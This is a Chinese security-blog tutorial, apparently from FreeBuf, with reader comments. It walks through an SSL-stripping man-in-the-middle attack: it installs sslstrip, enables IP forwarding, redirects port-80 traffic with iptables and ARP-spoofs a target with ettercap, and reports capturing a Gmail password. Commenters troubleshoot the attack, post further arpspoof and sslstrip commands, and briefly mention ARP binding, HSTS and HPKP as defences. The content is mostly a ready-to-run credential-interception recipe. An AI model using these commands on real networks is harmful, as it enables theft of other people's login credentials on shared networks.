本教程不是原创,是使用黑帽大会上Moxie Marlinspike发布的一款叫sslstrip的工具,配合ettercap进行arp欺骗,可以突破经过ssl加密的协议(如https等,一种被动使用https协议的会受到攻击),进行局域网arp嗅探获得口令等信息。本教程不涉及原理,只讲应用,我尽量迅速录完节省大家时间 仍然跟大家说声抱歉,因为个人原因最近比较惆怅,因此不爱说话,所以还是不录语音教程了,见谅!
准备工作:
wget http://www.thoughtcrime.org/software/sslstrip-0.7.tar.gz
访问这里获得更多帮助:
http://www.thoughtcrime.org/software/sslstrip/
安装:
切换到下载目录执行:
python setup.py install
开始之前先要打开ip_forword转发,否而会出现一些错误,感兴趣的可以查找相关资料并自行测试…纸上得来终觉浅,屏幕上就更浅了,实践出真知
echo “1”>/proc/sys/net/ipv4/ip_forward
使用Iptables过滤数据包
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000
通过iptables 把所有http数据导入到10000端口,我们用sslstrip监听10000端口,并得到我们想要的数据
参数讲解:
-t:命令要操作匹配的表(net这个表表示被查询时遇到了新差生的连接包)
Net表有三个内建的链构成 PREROUTING(修改到来的包)、OUTPUT(修改路由之前本地的包)、POSTROUTING(修改准备出去的包)
-A表示在选择的链后加入更多选项
–p指被过滤包的协议
–destination-port 80指被过滤包的目的端口是80 -j REDIRECT –to-port 10000 将80端口的数据跳转到指定端口传输
然后我们使用sslstrip监听10000端口
sslstrip -l 10000
利用ettercap进行arp欺骗
前面一些文章已经讲过了关于DNS和ARP中间人攻击的例子,大家可以翻出来看看。
ettercap使用方法,参数详解:
-P 使用插件
-T 使用基于文本界面
-q 启动安静模式(不回显)
-M 启动ARP欺骗攻击
// // 代表欺骗的子网网络,如果网络中有多个主机的话,可以在第一个//中加上目标主机,第二个//中加上网关路由ip。
此外我们可以综合这些参数使用。
ettercap –T –q –M arp:remote /192.168.1.101/ //
Ettercap默认就会过滤密码,我们也不需要指定过滤脚本
Ok开始测试
echo “1”>/proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000 sslstrip -l 10000
会在运行的当前目录生成sslstrip.log我们用ettercap不看这个也可以~~~
Arp欺骗开始,我对我的物理机192.168.1.101进行攻击测试
ettercap –T –q –M arp:remote /192.168.1.101/ //
好的开始了,我登陆gmail看看 Ettercap成功截获到了gmail的密码~~~
这里用ettercap密码非常方便就看到了也可以查看sslstrip的日志文件,也是保存了我们的密码
严禁用于攻击别人银行等账号!这是一种盗窃!
下面说下防御
Sslstrip的攻击方式是一种中间人攻击,需要进行arp欺骗,所以在设置好浏览器本身安全的基础上,要绑定mac和ip等在网关和本机双向绑定,或者启用arp防火墙对arp攻击进行防御

不容错过
- 互联网企业安全建设之路:规划篇SecSky2017-02-08
- 【FB TV】一周「BUF大事件」: Dropbox先前泄露的6800万账号影响大;外泄的黑客服务清单;黑客游戏《Hackmud》学习游戏两不误supercoco2016-10-15
- 京东官方声明回应50亿条公民信息泄漏传言lr3800_2017-03-12
- Hacking Team:核心代码和数据未泄露,一切尽在掌控dawner2015-07-16
0daybank
已有 46 条评论
https ->http
原理方面补充推荐一篇paper
@thanks 哈哈哈 不错顶 你小子一下
@thanks
不错,谢过!
这个不是2年前的东西吗?记得linux520有这个视频
不知道大家有没有用过,他人点开网站 会有证书提示。
@天朝黑阔
嗯,是的,在linux520上找到了
@lonelyking
不会提示证书错误,@thanks大牛给出了连接http://www.linuxde.net/2011/11/2522.html
@xfk 以前是弹出警告 这里是把https替换成http
@livers http如何替换https,这个过程不会有证书错误提示?
经过测试不知道为什么没有成功!可否指导一下呢?
哈哈 以前在课堂上给我同学演示过.不过现在 好久没碰BT了
@chnlcq
经测试,是成功的。或者是你的环境有问题
@xfk 你好,我也测试了,但是一旦开始,目的主机就不能登陆https网页,从正常的http调转到登陆页面也不行,这是什么原因呢。sslstrip不是可以自动把https替换成http吗?
@小酸梅果 不能显示HTTPS的页面才正常。因为在被攻击者的浏览器上只能看见正常的HTTP页面,而HTTPS的一切通讯都是由攻击者与服务器之间进行的。
@Flamingo 那gmail邮箱登陆过程中不是从http跳转到https的吗?
另外我想实现https中间人攻击的实验过程,在伪造证书时一直有问题,想请教
这个就是做了个ssl卸载。
转发微博
哈哈 520 很多的
小菜问句~~能针对别的邮箱不?163的或者TX的?
为什么要用端口转发呢,不能直接监听80
?
@ nick 兄弟这么多年过去了,你搞明白了没有啊。为什么不直接监听80?
https不是443端口么?http才是80啊?
@toy 先发送到80进行ssl握手之类的前奏,当远端的服务器接到浏览器要进行ssl加密通信请求并返回证书后,在你本地确认后再建立真正的443端口上的加密通信。该工具的要点就是在“握手之类的前奏”阶段截获浏览器发送的加密请求信息,然后通过中间人进行伪造,让受害者认为自己是在和远程进行加密通信,明白了吧。
先搞明白80和443的区别吧。小编请审核
为什么我开数据导入到10000端口,显示 bad argument 80…..
@ 情到深处人孤 iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000
楼主这句错了,–destination-port和 –to-port有两个–
啊,草-。-我才不是黑客,我就是一小白
我替他回复你:全国有被盗号的先例吗?顶级黑客会对普通民众下手吗?
中国的教育网部分地区的google.com也有https问题,说不准在搞什么鬼,感觉和gfw有关。等白天了给你看图。
我非常想问下 经我测试 arp时对方会断线 上不了网,请问lz 你在本地环境和虚拟机mac是相同的 所以 在arp时本机可以上网 但是 你arp 别人时 人家都不能上网 你何谈嗅探? 还是有什么方法是把对方流量转发给你 你在给路由器 然后 外面的流量也是先经过你 再给目标pc的呢 请指导下 谢谢
Just do the arp poisning without changing fowarding settings, U can get the data with wireshark
还有 我是在本地虚拟机用kali ip 192.168.1.127 本机ip 192.168.1.113 目标机 ip 192.168.1.115 网关 192.168.1.1 我试过 arpspoof ettercap 都是在arp的时候 对方马上就不能上网了
@asy ,需要开启ip路由转发;
echo “1”>/proc/sys/net/ipv4/ip_forward
@ rosuremember
echo “1”>/proc/sys/net/ipv4/ip_forward 这个命令,我是vm里面通过了,但是用cat查看,里面还是零的,最后去除了双引号就成功了。vm里面装的是BackTrack-v5r3.vmdk。
@ asy 我也遇到这种情况,ip_forward 已经打开了。在家里的网络就没问题,在公司的网络就不能上网,难道跟路由器有关?
你居然和这个微博最大逗比和及其逗比粉丝交流,不怕被传染吗?
能联系吉尼斯吗?
–destination-port 参数少个-
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000
楼主这句错了,–destination-port和 –to-port有两个–
我失败了,在vmware桥接实体机器的基础做的。
按照上文,的确有些命令会提示错误。修改后,我检查过实体机,arp-a后,实体机的网关MAC并没有改变,也就是arp攻击那里就是失败了。。。
然后,安装上面Fer的连接试了一下,命令都通过了,并且arp攻击成功。奇怪的是,实体机的网关MAC显示并不是VMnet0的mac,然后上网是偶尔异常,有时可以打开,有时打不开。不知道哪里错了。下面将配置粘贴一下,有人愿意帮忙远程判断一下原因吗?
配置:
sudo ifconfig eth0 192.168.100.200 netmask 255.255.255.0
sudo route add default gw 192.168.100.1
vi /etc/resolv.conf
cat /etc/resolv.conf
nameserver 192.168.100.1
nameserver 8.8.8.8
echo 1 >/proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000
arpspoof -i eth0 -t 192.168.100.110 192.168.100.1
sslstrip -a -k -f
ettercap -T -q -i eth0
ARP攻击与VMnet参数
eth0 Link encap:Ethernet HWaddr 00:0c:29:e4:b3:c1
inet addr:192.168.100.121 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fee4:b3c1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:9231 errors:0 dropped:0 overruns:0 frame:0
TX packets:5824 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:4819757 (4.8 MB) TX bytes:662221 (662.2 KB)
Interrupt:19 Base address:0×2000
0:c:29:e4:b3:c1 0:0:0:0:0:0 0806 42: arp reply 192.168.100.1 is-at 0:c:29:e4:b3:c1
接口: 192.168.100.110 — 0×16 欺骗前的arp -a
Internet 地址 物理地址 类型
192.168.100.1 d0-c7-c0-f4-5d-44 动态
192.168.100.101 28-d2-44-9c-0a-43 动态
192.168.100.103 8c-be-be-fa-d3-fd 动态
192.168.100.255 ff-ff-ff-ff-ff-ff 静态
224.0.0.22 01-00-5e-00-00-16 静态
224.0.0.252 01-00-5e-00-00-fc 静态
239.255.255.250 01-00-5e-7f-ff-fa 静态
255.255.255.255 ff-ff-ff-ff-ff-ff 静态
接口: 192.168.100.110 — 0×16 欺骗后的arp -a
Internet 地址 物理地址 类型
192.168.100.1 20-7c-8f-05-a9-e8 动态
192.168.100.101 28-d2-44-9c-0a-43 动态
192.168.100.103 8c-be-be-fa-d3-fd 动态
192.168.100.255 ff-ff-ff-ff-ff-ff 静态
224.0.0.22 01-00-5e-00-00-16 静态
224.0.0.252 01-00-5e-00-00-fc 静态
239.255.255.250 01-00-5e-7f-ff-fa 静态
255.255.255.255 ff-ff-ff-ff-ff-ff 静态
第一次发言,希望遇到FBer指导一下。
哈哈 文章开头写了。。。。第一行 文章来自FreeBuf黑客与极客
我想问下,gmali本身是明文密码?还是加密的也能显示明文?我在虚拟机里测试百度的,现在百度都https了,但我xp的ie浏览器还是显示http,而且也能打开。但是抓取的密码都是加密过的。
U mean base64 ; )
请问一下,sslstrip.log如何查看 , 用什么字符集打开?
第一种攻击方式公钥固定扩展(HPKP)可以有效抵挡攻击,第二种本质上是ssl剥离攻击 网站部署HSTS就好了